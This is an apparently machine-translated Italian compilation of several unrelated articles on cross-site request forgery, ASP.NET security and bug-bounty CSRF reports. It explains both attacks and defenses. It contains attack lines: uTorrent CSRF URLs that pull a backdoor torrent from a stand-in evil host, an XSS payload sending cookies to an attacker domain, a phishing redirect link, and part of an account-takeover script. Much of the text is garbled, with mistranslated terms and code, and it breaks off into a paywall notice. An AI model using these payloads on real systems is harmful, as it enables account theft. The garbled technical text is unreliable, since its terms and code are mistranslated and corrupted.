Falsificazione di richieste intersito, nota anche come attacco con un clic o session drive e abbreviata in CSRF (a volte espressa foro di marea listen)) o XSRF, è un tipo di malware sfruttato da un sito Web in cui vengono inviati comandi non autorizzati dall'utente considerato attendibile dall'applicazione Web. Esistono molti modi in cui un sito Web dannoso può trasmettere tali comandi; tag immagine appositamente predisposti, moduli nascosti e XMLHttpRequest JavaScript, ad esempio, possono funzionare tutti senza l'interazione o la conoscenza dell'utente. A differenza del cross-site scripting (XSS), che sfrutta la fiducia che l'utente ha per un sito specifico, CSRF sfrutta la fiducia che il sito ha nel browser dell'utente.
storia
Le vulnerabilità CSRF sono note e in alcuni casi sfruttate dal 2001. Poiché viene eseguita dall'indirizzo IP dell'utente, alcuni registri del sito Web potrebbero non contenere prove di CSRF. Gli exploit sono poco denunciati, almeno pubblicamente, e nel 2007 c'erano diversi esempi ben documentati:
- Il sito web di Netflix nel 2006 presentava numerose vulnerabilità CSRF che potevano consentire a un utente malintenzionato di eseguire azioni come aggiungere un DVD alla coda di noleggio di una vittima, modificare l'indirizzo di spedizione su un account o modificare le credenziali di accesso di una vittima per compromettere completamente l'account.
- L'applicazione web di online banking ING Direct era vulnerabile agli attacchi CSRF, consentendo trasferimenti di denaro illegali.
- Anche il popolare sito web di video YouTube si è rivelato vulnerabile al CSRF nel 2008 e ciò ha consentito a qualsiasi utente malintenzionato di eseguire quasi tutto ciò che qualsiasi utente poteva fare.
- McAfee è anche vulnerabile al CSRF, che ha consentito agli aggressori di modificare il proprio sistema aziendale.
Nel 2018 sono stati effettuati nuovi attacchi ai dispositivi web, inclusi tentativi di modifica Impostazioni DNS router. Alcuni produttori di router si sono affrettati a rilasciare aggiornamenti del firmware per migliorare la sicurezza e hanno consigliato agli utenti di modificare le impostazioni del router per ridurre il rischio. I dettagli non sono stati rilasciati, adducendo "evidenti motivi di sicurezza".
Esempio e caratteristicheGli aggressori che riescono a trovare un collegamento riproducibile che esegue un'azione specifica su una pagina di destinazione mentre la vittima si sta registrando possono incorporare tale collegamento in una pagina che controllano e indurre la vittima ad aprirla. Il collegamento multimediale dell'attacco può essere inserito in una posizione che la vittima probabilmente visiterà accedendo al sito di destinazione (come una discussione in un forum) o inviato nel corpo di un'e-mail o di un allegato HTML. L'attuale vulnerabilità CSRF in UTorrent (CVE-2008-6586) sfrutta il fatto che la sua console web è accessibile su localhost:8080 consentendo di eseguire azioni critiche con una semplice richiesta GET:
Forza il download del file .torrent http://localhost:8080/gui/action=add URL&s=http://evil.example.com/backdoor.torrent Modifica della password amministratore di Utorrent http://localhost:8080/gui/action = setsetting & s = webui.password & v = eviladmin
Gli attacchi venivano lanciati inserendo elementi di immagine HTML dannosi e automatizzati nei forum e nelle e-mail di spam, in modo che i browser che visitavano queste pagine le aprissero automaticamente, senza molta azione da parte dell'utente. Le persone che eseguivano una versione vulnerabile di Utorrent mentre aprivano queste pagine erano vulnerabili all'attacco.
Gli attacchi CSRF che utilizzano tag immagine vengono spesso effettuati da forum Internet in cui gli utenti possono pubblicare immagini, ma non JavaScript, ad esempio utilizzando BBCode:
Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
Quando si accede a un collegamento di attacco su un'applicazione Utorrent locale su localhost:8080, il browser invierà sempre automaticamente anche eventuali cookie esistenti per quel dominio. Questo proprietà generale i browser web consentono agli attacchi CSRF di sfruttare le vulnerabilità del bersaglio ed eseguire azioni ostili fintanto che l'utente è loggato nel sito web di destinazione (in in questo esempio rete locale- Interfaccia Utorrent) al momento dell'attacco.
La falsificazione delle richieste tra siti è un attacco proxy confuso contro il browser web.
CSRF ha tipicamente le seguenti caratteristiche:
- Include siti che si basano sull'identità dell'utente.
- Sfrutta la fiducia del sito in questa identità.
- Induce il browser dell'utente a inviare richieste HTTP al sito di destinazione.
- Include richieste HTTP che hanno effetti collaterali.
- In HTTP GET, lo sfruttamento di CSRF è banale, utilizzando i metodi sopra descritti, come un semplice collegamento ipertestuale contenente parametri manipolati e caricato automaticamente utilizzando un tag IMG. Secondo la specifica HTTP, tuttavia, GET dovrebbe essere utilizzato come metodo sicuro, ovvero senza modificare in modo significativo lo stato dell'utente nell'applicazione. Le applicazioni che utilizzano GET per tali operazioni devono passare a HTTP POST o utilizzare la protezione CSRF.
- HTTP POST presenta varie vulnerabilità CSRF, a seconda dei casi d'uso dettagliati:
- Nella sua forma più semplice, un attacco CSRF POST con dati codificati come una stringa di query (campo1=valore1&campo2=valore2) viene facilmente implementato utilizzando un semplice modulo HTML e devono essere applicate misure anti-CSRF.
- Se i dati vengono trasmessi in qualsiasi altro formato (JSON, XML) metodo standard emettere una richiesta POST utilizzando XMLHttpRequest con attacchi CSRF prevenuti da SOP e ; esiste un metodo per inviare contenuto arbitrario da un semplice modulo HTML utilizzando l'attributo ENCTYPE; tale richiesta falsa può essere distinta da quelle legittime dal tipo di contenuto testo/semplice, ma se questa non viene eseguita sul server, è possibile eseguire CSRF
- altri metodi HTTP (PUT, DELETE, ecc.) possono essere emessi solo utilizzando XMLHttpRequest con prevenzione SOP e CSRF; Tuttavia, queste misure non saranno attive sui siti Web che le disabilitano esplicitamente utilizzando l'intestazione Access-Control-Allow-Origin: *
Inoltre, sebbene tipicamente descritto come un tipo di attacco statico, CSRF può anche essere costruito dinamicamente come parte del carico utile per scenari di attacco cross-site, come dimostrato dal worm Samy, o costruito al volo dalle informazioni sulla sessione trapelate tramite contenuti offsite e inviato alla destinazione come URL dannoso. I token CSRF possono anche essere inviati da un client dannoso a causa di una correzione della sessione o di altre vulnerabilità, o indovinati attraverso un attacco di forza bruta tradotto in una pagina dannosa che genera migliaia di richieste non riuscite. La classe di attacco "Dynamic CSRF", o l'utilizzo di un payload per client per uno spoofing specifico della sessione, è stata descritta nel 2009 da Nathan Hamiel e Sean Moyer ai briefing di BlackHat, sebbene la tassonomia debba ancora ottenere un uso più ampio.
Un nuovo vettore per comporre attacchi CSRF dinamici è stato presentato da Oren Ofer all'incontro locale del capitolo OWASP di gennaio 2012 - "AJAX Hammer - Dynamic CSRF".
ConseguenzeSono stati emessi indicatori di gravità per le vulnerabilità CSRF che portano all'esecuzione di codice remoto con privilegi di root, nonché una vulnerabilità che può compromettere un certificato root, compromettendo completamente l'infrastruttura a chiave pubblica.
RestrizioniPerché una richiesta di falsificazione cross-site abbia successo devono verificarsi diverse cose:
L'attacco è cieco: l'aggressore non può vedere cosa il sito di destinazione restituisce alla vittima in risposta a richieste contraffatte a meno che non stia sfruttando Cross-Site Scripting o un altro bug nel sito di destinazione. Inoltre, un utente malintenzionato può prendere di mira solo qualsiasi collegamento o inviare moduli successivi alla richiesta iniziale contraffatta, purché i collegamenti o i moduli successivi siano altrettanto prevedibili. (È possibile simulare più target includendo più immagini nella pagina o utilizzando JavaScript per introdurre un ritardo tra i clic.)
Date queste restrizioni, un aggressore potrebbe avere difficoltà a trovare le identità anonime delle vittime o una forma di rappresentazione vulnerabile. D'altro canto, i tentativi di attacco vengono organizzati facilmente e non vengono rilevati dalle vittime, e gli sviluppatori di applicazioni hanno meno familiarità e preparazione per gli attacchi CS rispetto, ad esempio, agli attacchi con dizionario di cracking delle password.
prevenzioneLa maggior parte dei metodi di prevenzione CSRF funzionano incorporando dati di autenticazione aggiuntivi nelle richieste, consentendo all'applicazione Web di rilevare richieste provenienti da posizioni non autorizzate.
Modello marcatore sincronizzatore- Al momento dell'accesso, l'applicazione web imposta un cookie contenente un token casuale che rimane invariato per tutta la sessione dell'utente
- JavaScript in esecuzione sul lato client legge il valore e lo copia in un'intestazione HTTP personalizzata inviata con ogni richiesta transazionale
- Il server controlla la presenza e l'integrità dei token
La sicurezza di questo metodo si basa sul presupposto che solo JavaScript in esecuzione nella stessa origine sarà in grado di leggere il valore del cookie. JavaScript in esecuzione con un file o un indirizzo e-mail non autorizzati non sarà in grado di leggere e copiare nell'intestazione personalizzata. Anche se il cookie del token CSRF verrà inviato automaticamente con la richiesta non autorizzata, il server si aspetterà comunque un'intestazione del token X-CSRF valida.
Il token CSRF stesso deve essere unico e imprevedibile. Questo può essere generato in modo casuale oppure può essere ottenuto dai token di sessione utilizzando HMAC:
Csrf_token = HMAC(session_token, application_secret)
Il token del cookie CS non deve avere un flag HTTPOnly poiché è destinato a essere letto dalla progettazione JavaScript.
Questo metodo è implementato da molti framework moderni come Django e AngularJS. Poiché il token rimane persistente per tutta la sessione dell'utente, funziona bene con le applicazioni AJAX, ma non fornisce la sequenza degli eventi nelle applicazioni web.
La protezione fornita da questo metodo può essere vanificata se il sito Web di destinazione disabilita la policy della stessa origine utilizzando uno dei seguenti metodi:
- Intestazione permissiva Access-Control-Allow-Origin (con asterisco argomento)
- File clientaccesspolicy.xml che concede l'accesso non intenzionale ai controlli Silverlight
- file crossdomain.xml che fornisce accesso non intenzionale ai filmati Flash
Simile all'approccio cookie-to-header, ma senza JavaScript coinvolto, il sito può impostare un token CSRF come cookie e anche inserirlo in un campo nascosto in ogni Modulo HTML, ha inviato il cliente. Quando il modulo viene inviato, il sito può verificare che il marcatore del cookie corrisponda alla forma dei marcatori. La policy di origine comune impedisce a un utente malintenzionato di leggere o impostare cookie sul dominio di destinazione, quindi non può inserire un token valido nel formato creato.
Il vantaggio di questo metodo rispetto al modello di sincronizzazione è che il token non deve essere archiviato sul server.
Garanzie del clienteLe estensioni del browser come RequestPolicy (per Mozilla Firefox) o Umatrix (sia per Firefox che Google Chrome/Chromium) possono impedire CSRF fornendo una politica di rifiuto predefinita per le richieste intersito. Tuttavia, ciò può interferire in modo significativo operazione normale molti siti. L'estensione CsFire (anche per Firefox) può mitigare l'impatto di CSRF con un impatto minore sulla normale navigazione rimuovendo le informazioni di autenticazione dalle richieste tra siti.
Ho cercato di descrivere in cosa consiste esattamente questa vulnerabilità e, soprattutto, quali condizioni sono necessarie per effettuare un attacco CSRF.
In questo articolo cercherò di parlare di protezione contro attacchi di questo tipo provenienti dall’esterno:
- Dal lato cliente: i principali modi per proteggersi
- Lato server: progettazione corretta dell'applicazione
Se sei interessato a come proteggerti dalla CSRF, benvenuto su cat.
In generale, voglio ricordarti che CSRF NON è una vulnerabilità, è un tipo di attacco. E questo attacco viene effettuato sull'utente finale dell'applicazione web utilizzando una vulnerabilità in questa applicazione, che può essere chiamato "Mancanza di un'adeguata verifica della fonte della richiesta" (ho inventato io stesso il nome, non giudico rigorosamente, ma è vero). Ma d'ora in poi chiamerò CSRF una vulnerabilità e un attacco riuniti in uno solo perché è più semplice, ed è così che viene accettato =)
E poiché l'attacco viene effettuato contro l'utente, allora l'utente deve difendersi... sto scherzando =) Il fatto è che qualsiasi utente può ridurre la possibilità di questo attacco su qualsiasi sito che utilizza (anche se questi siti non hanno protezione integrata contro CSRF). Ma oltre agli utenti, anche gli stessi sviluppatori dei siti possono progettare la propria applicazione in modo tale da impedire la possibilità di sferrare questo attacco ai propri utenti.
Diamo un'occhiata alla protezione da entrambi i lati.
Tutela dell'utenteIn generale, tutto qui è molto banale:
- Non fare clic sui collegamenti offerti da terze parti. Questo è il consiglio più banale, credo che lo sappiano già tutti, ma ho deciso di ripeterlo.
- Rimuovi l'autorizzazione dopo aver finito di lavorare con un sito specifico. Anche se esiste una vulnerabilità, l'aggressore non sarà in grado di eseguire azioni sul sito di destinazione per tuo conto.
- Utilizza un browser separato o "modalità private o anonime" per lavorare con siti importanti (idealmente, utilizza un browser per ciascun sito ^_^ o, meglio ancora, un computer separato: D).
È tutto. Ora passiamo alla cosa principale.
Protezione dello sviluppatoreCome già accennato, la vulnerabilità risiede nella mancanza di un’adeguata verifica della fonte della richiesta. Cioè, quando sviluppiamo un'applicazione, dobbiamo incorporare funzionalità per controllare questa fonte. E qual è la prima cosa che ci viene in mente? Giusto! Controllo del referente.
Controllo del referenteLo dirò subito, per chi legge gli articoli in diagonale. Basare la propria difesa esclusivamente sul controllo di questa intestazione è sbagliato (!). Perché - vedi sotto.
Per prima cosa, scopriamo cos'è questo metodo.
Lavoriamo con siti web che utilizzano il protocollo HTTP. Ogni pacchetto di questo protocollo è un insieme di intestazioni + contenuto del pacchetto. Una di queste intestazioni è Referer. Contiene l'indirizzo della fonte di riferimento. Un esempio banale: hai il sito A aperto, su questo sito clicchi su un link al sito B, in questo momento, quando fai una richiesta, l'intestazione Referer conterrà l'indirizzo del sito A. Cioè, sembrerebbe che questo sia un meccanismo ideale per tracciare la provenienza dell'utente.
Ecco il rafano. E il punto qui non è che il referrer possa essere falsificato (quale hacker sano di mente chiederebbe alla vittima di sostituire il referrer e seguire il collegamento specificato). E il fatto è che, secondo le mie statistiche, circa il 5% degli utenti ha la trasmissione Referer disabilitata. Cioè, o questo cinque per cento non sarà in grado di lavorare affatto con il sito, oppure sarà vulnerabile a questo attacco (a seconda della politica della tua applicazione).
Sì, sì, sì, so cosa stai pensando... Ebbene, che diavolo con questo 5%? Lascia che siano vulnerabili, ma il restante 95% è protetto e allo stesso tempo ti costa poco sangue. Cioè se il referrer contiene l'indirizzo della nostra richiesta oppure è vuoto, allora consideriamo confermata la fonte? Ecco di nuovo il rafano! Esistono opzioni per forzare il browser della vittima a soddisfare la richiesta senza specificare il referrer (ne ho scritto)! E voilà! Si scopre che tutti gli utenti sono ancora vulnerabili.
Generalmente come metodo indipendente questo metodo senza senso.
Conferma dell'azionePuoi allegare un captcha ad ogni modulo di invio e mostrarlo anche agli utenti registrati per salvarli da CSRF... Anche se, forse, preferirei dare il mio account a un hacker piuttosto che lavorare in un sistema del genere...
GettoniBene, ora l'unico modo corretto e affidabile.
Senso questo metodo consiste nell'aggiungere ad ogni link, modulo di invio, ecc. un parametro contenente alcuni “token”. E quando riceve una richiesta, il server deve verificare la presenza di questo token nei parametri accettati. Naturalmente ogni token per ogni utente deve essere unico, e meglio ancora se ogni token è unico.
Uno degli esempi di implementazione più semplici e affidabili: ad ogni richiesta viene generato un nuovo token che viene installato nei cookie dell'utente e viene anche aggiunto ai parametri dei moduli e dei collegamenti sulla pagina:
Quindi, dopo aver ricevuto ciascuna richiesta, il token dei cookie viene confrontato con il token specificato nei parametri del modulo. E se sono la stessa cosa, la fonte della richiesta è legale. Quindi il token viene nuovamente generato e impostato nuovamente nel cookie, ecc. girare.
In generale, l'implementazione può essere diversa, ma il problema è che passare ai token è piuttosto difficile poiché devi tenere conto di ogni collegamento, ogni modulo, ogni pagina... Puoi proteggere solo pagine/moduli/link importanti, ma allora c'è la possibilità di perderne alcuni.
Personalmente proteggo solo i moduli POST e i link molto importanti. Cioè, POST nelle mie applicazioni non funziona senza il token corretto. Ciò elimina la possibilità di dimenticare di proteggere qualche modulo, poiché semplicemente non funzionerà e me ne accorgerò subito.
ConclusioneSpero che da questo articolo tu capisca come proteggerti dagli attacchi CSRF.
ASP.NET MVC non è lo stack più pubblicizzato, ma piuttosto popolare tra gli sviluppatori web. Dal punto di vista di un (anti-)hacker, la sua funzionalità standard offre un livello base di sicurezza, ma è necessaria una protezione aggiuntiva per proteggersi dalla stragrande maggioranza dei trucchi degli hacker. In questo articolo verranno illustrate le nozioni di base che uno sviluppatore ASP.NET (che si tratti di Core, MVC, MVC Razor o Web Forms) dovrebbe conoscere sulla sicurezza.
Cominciamo con i tipi di attacchi più noti.
SQL InjectionCuriosamente, nel 2017 l'iniezione e, in particolare, l'SQL injection sono al primo posto tra i "Top 10 rischi per la sicurezza di OWASP" (Open Web Application Security Project). Questo tipo di attacco prevede l'utilizzo dell'input dell'utente come parametri di query sul lato server.
Un esempio di classica SQL injection è più tipico per Applicazioni web Forme. L'utilizzo dei parametri come valori della richiesta aiuta a proteggersi dagli attacchi:
String commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; Comando SqlCommand = nuovo SqlCommand(commandText, ConnectionString); comando.Parametri["@ID"].Valore = IDcliente;
Se stai sviluppando un'applicazione MVC, Entity Framework copre alcune vulnerabilità. È necessario un certo sforzo per far funzionare un'iniezione SQL in un'applicazione MVC/EF. Tuttavia, ciò è possibile se si esegue codice SQL utilizzando ExecuteQuery o si richiamano procedure memorizzate scritte in modo non corretto.
Sebbene ORM permetta di evitare l'SQL injection (ad eccezione degli esempi sopra), si consiglia di limitare i valori che i campi del modello, e quindi il form, possono accettare per attributi. Ad esempio, se prevedi che in un campo sia possibile inserire solo testo, utilizza Regex per specificare l'intervallo ^+$ . E se è necessario inserire dei numeri nel campo, indicalo come requisito:
Stringa pubblica Zip ( get; set; )
Nei Web Form è possibile limitare i valori utilizzando i validatori. Esempio:
Poiché i moduli Web .NET 4.5 utilizzano la convalida discreta. Ciò significa che non è necessario scrivere alcun codice aggiuntivo per verificare il valore del modulo.
La convalida dei dati, in particolare, può aiutare a proteggersi da un'altra vulnerabilità ben nota chiamata cross-site scripting (XSS).
XSSUn tipico esempio di XSS è aggiungere uno script a un commento o scrivere su un libro degli ospiti. Potrebbe assomigliare a questo:
document.location="https://verybadcoolhacker.com/?cookie="+encodeURIComponent(document.cookie)
Come hai capito, in questo esempio, i cookie del tuo sito vengono passati come parametro ad alcune risorse degli hacker.
Nei moduli Web è possibile commettere errori con codice come questo:
Mi dispiace, ma la password è sbagliata
È chiaro che al posto del nome utente può esserci uno script. Per evitare l'esecuzione di script, puoi almeno utilizzare un'altra espressione ASP.NET: che ne codifica il contenuto.
Se utilizziamo Razor, le stringhe vengono codificate automaticamente, il che riduce al minimo la possibilità di implementare XSS: un hacker può farcela solo se commetti un errore grave, ad esempio utilizzando @Html.Raw(Model.username) o usa MvcHtmlString invece di string nel tuo modello.
Per protezione aggiuntiva Da XSS, i dati vengono codificati anche nel codice C#. In .NET Core è possibile usare i codificatori seguenti dallo spazio dei nomi System.Text.Encodings.Web: HtmlEncoder, JavaScriptEncoder e UrlEncoder.
L'esempio seguente restituirà la stringa:
String encodedString = HtmlEncoder.Default.Encode("");
.NET classico utilizza HttpUtility.HtmlEncode. E a partire da .NET 4.5, puoi rendere AntiXssEncoder il codificatore predefinito. Questo viene fatto aggiungendo un attributo al tag httpRuntime del file web.config:
Pertanto, pur mantenendo il vecchio codice HttpUtility.HtmlEncode , utilizzeremo una nuova classe più resistente alle vulnerabilità (nel nuovo codice verranno utilizzate anche le vecchie classi HttpServerUtility e HttpResponseHeader).
Si consiglia di codificare le stringhe non prima di salvarle nel database, ma prima di visualizzarle. Inoltre, se utilizziamo una stringa inserita dall'utente come parametro da passare all'URL, allora dobbiamo utilizzare UrlEncoder.
Falsificazione di richieste intersito (CSRF)Wikipedia, in stile “Aliexpress”, sostiene che in russo CSRF suona come “falsificazione di richieste cross-site”. In questo tipo di attacco, il sito Web dannoso visitato dall'utente invia richieste a un'altra risorsa. A un buon sito su cui l'utente è registrato e che ha visitato di recente. Può succedere che le informazioni di accesso a un buon sito rimangano ancora nel cookie. Quindi è possibile che venga commessa qualche azione dannosa nascosta.
Il noto helper @Html.AntiForgeryToken(), aggiunto alla View, e l'attributo aggiunto prima dell'azione del controller aiutano a evitare questo attacco in MVC. Questo metodo di protezione è di tipo STP (synchronizer token pattern). La conclusione è che quando si accede a una pagina, il server invia un token all'utente e, dopo che l'utente ha effettuato una richiesta, insieme ai dati, invia il token al server per la verifica. I token possono essere archiviati nell'intestazione, in un campo nascosto o nei cookie.
Le pagine Razor sono protette dagli attacchi XSRF/CSRF per impostazione predefinita. Ma se utilizziamo le richieste AJAX, è possibile inviare token nell'intestazione. Rispetto all'utilizzo di AntiForgeryToken, questo non è così semplice. ASP.NET Core usa il servizio Microsoft.AspNetCore.Antiforgery.IAntiforgery per configurare questa funzionalità. Le applicazioni ASP.NET classiche utilizzano il metodo AntiForgery.GetTokens per generare token e AntiForgery.Validate per convalidare i token ricevuti dal lato server.
Attacchi di reindirizzamento apertiFai attenzione ai reindirizzamenti! Il seguente codice è molto pericoloso:
Response.Redirect(Request.QueryString["Url"]);
Un utente malintenzionato può aggiungere un collegamento al proprio sito Web. E l'utente, vedendo che l'URL inizia con un buon sito, potrebbe non considerare l'intero indirizzo (soprattutto se è lungo) e fare clic sul collegamento, andando così a un sito dannoso dal tuo buon sito (hai dei buoni siti, giusto? ). Questa vulnerabilità può essere sfruttata soprattutto per il phishing. Esempio di collegamento di phishing:
Http://www.goodwebsite.com/Redirect?url=http://www.badwebsite.com
Molti utenti, dopo aver ricevuto un'e-mail con un collegamento, controllano se il dominio corrisponde e non si aspettano affatto di essere reindirizzati a una risorsa dannosa. E se il reindirizzamento apre una pagina con lo stesso design, molti utenti inseriranno nome utente e password senza esitazione (decidendo di essersi disconnessi accidentalmente dal proprio account). Dopodiché, tra l'altro, gli aggressori possono essere reindirizzati al sito reale.
Questo tipo di attacco si applica anche a MVC. L'esempio seguente controlla se il collegamento è locale:
Private ActionResult RedirectToLocalPage(string reindirizzamentoUrl) ( if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl); // ... )
Per proteggersi da questo tipo di attacco, puoi anche utilizzare il metodo helper LocalRedirect:
Private ActionResult RedirectToLocalPage(string reindirizzamentoUrl) ( return LocalRedirect(redirectUrl); )
In generale, cerca di non fidarti mai dei dati che ricevi.
Incarico di massaDiamo un'occhiata a questa vulnerabilità utilizzando un esempio. Supponiamo che il nostro sito Web abbia un modello semplice con due proprietà:
Classe pubblica UserModel ( public string Nome ( get; set; ) public bool IsAdmin ( get; set; ) )
E c'è una visualizzazione regolare e abbastanza semplice:
@model UserModel @if (Model.IsAdmin) ( Sei un amministratore) altro ( Sei un utente standard) Invia
Con questa visualizzazione puoi modificare solo il nome utente, giusto?
Passiamo ora al codice altrettanto semplice:
Public IActionResult Vulnerable(int id, modello UserModel) ( return View("Index", model); )
Va tutto bene qui? A quanto pare, no. E tutto perché l'azione è contrassegnata come HttpPost. Per verificarlo basta aprire un'utility come Postman o Fiddler e inviare una richiesta POST all'indirizzo specificando i parametri id e IsAdmin. Se stiamo testando localmente, l'indirizzo potrebbe essere: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true.
Come puoi vedere nello screenshot, è stato ottenuto l'accesso alle informazioni segrete (il codice HTML contiene la riga Sei un amministratore). Come proteggersi da questo tipo di attacchi? L'opzione più semplice è evitare di trovarsi in una situazione in cui un oggetto viene inviato con un HttpPost. E se ciò non può essere evitato, bisogna essere preparati al fatto che tutto può essere trasferito. Un'opzione è creare una sorta di classe separata per passarla tramite HttpPost. Può trattarsi della classe base della classe corrente con parametri pubblici o di una classe duplicata. In questa classe, i campi importanti possono essere contrassegnati con l'attributo Editable con il valore false:
La continuazione è disponibile solo per i membri Opzione 1. Unisciti alla comunità del "sito" per leggere tutti i materiali sul sitoL'iscrizione alla community entro il periodo specificato ti darà accesso a TUTTI i materiali Hacker, aumenterà il tuo sconto cumulativo personale e ti consentirà di accumulare una valutazione Xakep Score professionale!
Cross Site Request Forgery, o CSRF, è un attacco che si verifica quando un sito, un'e-mail, un messaggio, un'applicazione o qualsiasi altro elemento dannoso induce il browser di un utente a eseguire alcune azioni su un altro sito in cui l'utente è già autenticato. Spesso ciò accade all'insaputa dell'utente.
Il danno causato da un attacco CSRF dipende dal sito che riceve l'azione. Ecco un esempio:
Una situazione ancora più interessante è quando si crea un collegamento a un file dannoso
il sito può essere contenuto in HTML valido, grazie al quale Bo-
Non è nemmeno necessario cliccare sul link: . Se il dispositivo di Bob (ad esempio, un browser) esegue il rendering
Questa immagine invierà una richiesta a malware_site.com e potrebbe causare un attacco CSRF.
Ora che sei consapevole dei pericoli degli attacchi CSRF, puoi proteggerti in diversi modi, il più popolare dei quali è forse l'uso di un token CSRF, che deve essere inviato con qualsiasi richiesta che potrebbe potenzialmente modificare i dati ( come le richieste POST). Un'applicazione web (come l'online banking di Bob) dovrà generare un token composto da due parti, una delle quali Bob riceverà e la seconda verrà archiviata nell'applicazione.
Quando Bob tenta di effettuare una richiesta di trasferimento di denaro, dovrà inviare un token, la cui validità verrà verificata dalla banca utilizzando il token memorizzato nell'applicazione.
Ora che conosciamo CSRF e i token CSRF, Cross Origin Resource Sharing (CORS) ha più senso, anche se potrei averlo notato mentre ricercavo nuovi obiettivi. In generale, CORS limita l'elenco delle risorse che possono accedere ai dati. In altre parole, quando CORS viene utilizzato per proteggere un sito, è possibile scrivere Javascript per chiamare l'applicazione di destinazione, leggere la risposta ed effettuare un'altra chiamata se il sito di destinazione lo consente.
Se questo sembra confuso, prova a utilizzare Javascript per effettuare una chiamata a HackerOne.com/activity.json, leggi la risposta ed effettua una seconda chiamata. Vedrai anche l'importanza di questo e le potenziali soluzioni alternative nell'esempio n. 3 di seguito.
Infine, è importante notare (grazie a Jobert Abma per averlo sottolineato) che non tutte le richieste senza un token CSRF non sono valide. Alcuni siti potrebbero farlo controlli aggiuntivi, ad esempio confrontando l'intestazione del lato di origine (sebbene non se ne garantisca la sicurezza e siano noti aggiramenti). Questo è un campo che identifica l'indirizzo della pagina che collega alla risorsa richiesta. In altre parole, se la parte originante (referrer)
effettua una chiamata POST da un sito diverso dallo stesso sito che ha ricevuto la richiesta HTTP, il sito potrebbe non consentire alla chiamata di ottenere lo stesso effetto dell'utilizzo del token CSRF. Inoltre, non tutti i siti utilizzano i termini csrf durante la creazione o la definizione di un token. Ad esempio, su Badoo questo è il parametro rt, come descritto di seguito.
Leggi il tutorial OWASP Testing per CSRF
Esempi 1. Esportazione degli utenti Shopify installatiDifficoltà: Bassa
URL: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users
Descrizione:
L'API Shopify fornisce un endpoint per esportare un elenco di utenti installati tramite l'URL mostrato sopra. La vulnerabilità era che il sito poteva effettuare una richiesta a questo endpoint e ricevere informazioni in risposta
Shopify non ha utilizzato un token CSRF per convalidare questa richiesta. Di conseguenza, il seguente codice HTML potrebbe essere utilizzato per inviare un modulo per conto di una vittima ignara.
1 2 csrf 3 4 7 8 9
In questo esempio, quando si visita semplicemente una pagina, Javascript invia un modulo che include una richiesta GET all'API di Shopify utilizzando i cookie Shopify impostati nel browser della vittima.
conclusioniAumenta la portata dei tuoi attacchi e cerca i bug non solo sul sito, ma anche nell'API. Anche gli endpoint API rappresentano una potenziale via di sfruttamento, quindi vale la pena tenerlo presente, soprattutto se sai che l'API potrebbe essere stata sviluppata o resa disponibile dopo la creazione dell'interfaccia web.
2. Disconnetti Shopify da TwitterDifficoltà: Bassa
URL: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect
Shopify fornisce l'integrazione Twitter che consente ai proprietari dei negozi di twittare sui loro prodotti. Allo stesso modo, il servizio consente di disconnettere un account Twitter da un negozio collegato.
L'URL per disattivare il tuo account Twitter dallo store è elencato sopra. Al momento della richiesta, Shopify non ha convalidato il token CSRF, che ha consentito all'aggressore di creare un collegamento falso che, se cliccato, avrebbe indotto l'ignaro proprietario del negozio a disconnettere il suo negozio da Twitter.
Nel descrivere la vulnerabilità, WeSecureApp ha fornito il seguente esempio di richiesta vulnerabile; si noti che l'uso del tag img effettua una chiamata all'URL vulnerabile:
1 GET /auth/twitter/disconnect HTTP/1.1 2 Host: twitter-commerce.shopifyapps.com 3 Agente utente: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/43.0 5 Accetta: text/html, application/xhtml+xml, application/x 6 ml 7 Accetta lingua: en-US,en;q=0.5 8 Accetta codifica: gzip, deflate 9 Referer: https://twitter-commerce .shopifyapps.com/accou 10 nt 11 Cookie: _twitter-commerce_session=REDACTED 12 >Connessione: keep-alive
Poiché il browser effettua una richiesta GET per ottenere l'immagine dall'URL passato e il token CSRF non è convalidato, l'archivio personalizzato è ora disabilitato:
1
2
3
5
6
In questa situazione, la vulnerabilità descritta potrebbe essere stata rilevata utilizzando un server proxy come Burp o Firefox Tamper Data, semplicemente osservando la richiesta inviata a Shopify e vedendo che la richiesta è stata effettuata utilizzando una richiesta GET. Poiché ciò causava problemi e le richieste GET non dovrebbero modificare i dati sul server, vale la pena indagare.
3. Completa il controllo dell'account su BadooDifficoltà: media
URL: https://badoo.com
Link al report: https://hackerone.com/reports/12770312
Data del rapporto: 1 aprile 2016
Ricompensa pagata: $ 852
Descrizione:
Se guardi Badoo, proteggono dal CSRF includendo un parametro rt nell'URL, che è lungo solo 5 caratteri (almeno al momento della scrittura). Anche se l'ho notato quando Badoo ha lanciato una campagna su HackerOne, non ho trovato il modo di usarlo. Tuttavia, Mahmoud Jamal (zombiehelp54) l'ha trovato.
Dopo aver compreso il significato del parametro rt, ha notato anche che il parametro veniva restituito in quasi tutte le risposte json. Sfortunatamente questo non è servito a nulla poiché CORS protegge Badoo dagli attacchi leggendo queste risposte. Mahmoud continuò la ricerca.
Si è scoperto che il file https://eu1.badoo.com/worker-scope/chrome-ser contiene il valore rt. La cosa ancora migliore era che questo file
potrebbe essere letto arbitrariamente dall'attaccante e non è necessario
la vittima non intraprende alcuna azione se non quella di visitare una pagina Web dannosa. Ecco il codice che ha fornito:
1 2 3 Account Badoo preso in consegna 4 6 7 8 9 function getCSRFcode(str) ( 10 return str.split('='); 11 ) 12 window.onload = function())( 13 var csrf_code = getCSRFcode(url_stats); 14 csrf_url = 'https://eu1.badoo.com/google/verify.phtml?c 15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu 16 ser=3&session_state=7cb17 4b560..a810&prompt=none&rt='+ csrf _ codice;18 finestra.posizione = csrf_url;19 ); 20
Fondamentalmente, quando la vittima caricava la pagina, effettuava una richiesta allo script Badoo, raccoglieva il parametro rt per quell'utente e quindi effettuava la richiesta per conto della vittima. In questo caso, è stato il collegamento del conto di Mahmoud con quello della vittima, che ha consentito di impossessarsi completamente del conto.
conclusioniDove c'è fumo, c'è fuoco. Qui, Mahmoud ha notato che il parametro rt veniva restituito in posti diversi, in specifiche risposte json. Quindi ha correttamente supposto che potesse essere mostrato da qualche parte dove potesse essere utilizzato in questo caso in un file js.
